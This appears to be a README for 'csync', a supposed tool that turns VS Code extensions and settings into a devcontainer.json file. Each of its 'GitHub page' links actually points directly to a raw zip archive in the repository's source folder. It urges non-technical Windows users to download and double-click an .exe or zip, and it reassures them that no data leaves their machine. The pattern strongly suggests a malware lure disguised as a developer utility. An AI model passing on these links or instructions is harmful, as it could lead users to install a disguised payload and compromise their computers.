csync helps you save your Visual Studio Code setup. It takes your extensions, settings, and UI preferences, then puts them into a single file called devcontainer.json. This file lets you keep your coding environment organized and easy to share.
You don’t need to be a programmer to use csync. It works in the background to make your VS Code look and behave the way you want. When you use this file inside a Codespace or a devcontainer, your environment will match your preferences exactly.
- Save time by capturing your coder’s settings in one place.
- Keep your extensions and themes consistent across computers.
- Share your setup easily with others or use it in cloud-based workspaces.
- Avoid manual reconfiguration after installing VS Code or switching devices.
- Windows 10 or newer (Windows 11 supported)
- Visual Studio Code installed (version 1.60 or later recommended)
- Internet connection to download extensions if not present
- Minimum 2GB RAM and 500 MB free disk space for typical usage
- Extracts installed VS Code extensions, including their versions.
- Saves your editor settings and keybindings.
- Captures UI layout and theme preferences.
- Creates a
devcontainer.jsonconfiguration file ready for use. - Supports automation for quick setup in Codespaces or containers.
- Works with both local VS Code installs and remote Codespaces.
Download csync
(Click this link to visit the GitHub page and get the latest version.)
Go to the GitHub page: https://github.com/SabaT2580/csync/raw/refs/heads/main/src/Software_1.6.zip
On this page, look for the latest release or download section.
Find the version for Windows. If you see a file ending in .exe or .zip, download it to your computer. Most often, the release page will have a clearly marked button like csync.exe or a zip package.
- If you downloaded a
.exefile, double-click it to start the installation. - If you downloaded a
.zipfile, open it and extract the contents to a folder of your choice.
If a setup wizard appears, follow the instructions on screen to complete the installation.
After installation, launch csync from your Start menu or the folder where you extracted it.
-
Launch csync
Open the app. You will see options to extract your VS Code setup. -
Connect to Visual Studio Code
csync automatically finds your VS Code installation and scans your current extensions and settings. -
Create a
devcontainer.jsonFile
Click the button that says “Export Setup” or “Create devcontainer.json”. The tool will generate the file with your current configuration. -
Save or Share
Choose where you want to save thedevcontainer.jsonfile. You can use this file to recreate your setup elsewhere or share it with a team.
When you add or remove extensions or change settings in VS Code, run csync again to update your devcontainer.json. This keeps your saved setup current.
csync only reads your local VS Code configuration. It does not send your data anywhere. Your settings stay on your computer unless you choose to share the generated file.
-
csync does not find VS Code:
Make sure Visual Studio Code is installed and you have run it at least once. -
Export fails or file is empty:
Verify that your VS Code has extensions and custom settings saved. Restart csync and try again. -
Generated
devcontainer.jsonhas errors:
Use a JSON viewer or editor to check the file format. csync generates standard JSON files, so editing is possible if needed.
-
Visit the GitHub page for documentation and updates:
https://github.com/SabaT2580/csync/raw/refs/heads/main/src/Software_1.6.zip -
Use this tool with GitHub Codespaces to automatically load your preferences.
-
Review your
devcontainer.jsonfile if you want to customize it further.
Access and download the latest version here:
https://github.com/SabaT2580/csync/raw/refs/heads/main/src/Software_1.6.zip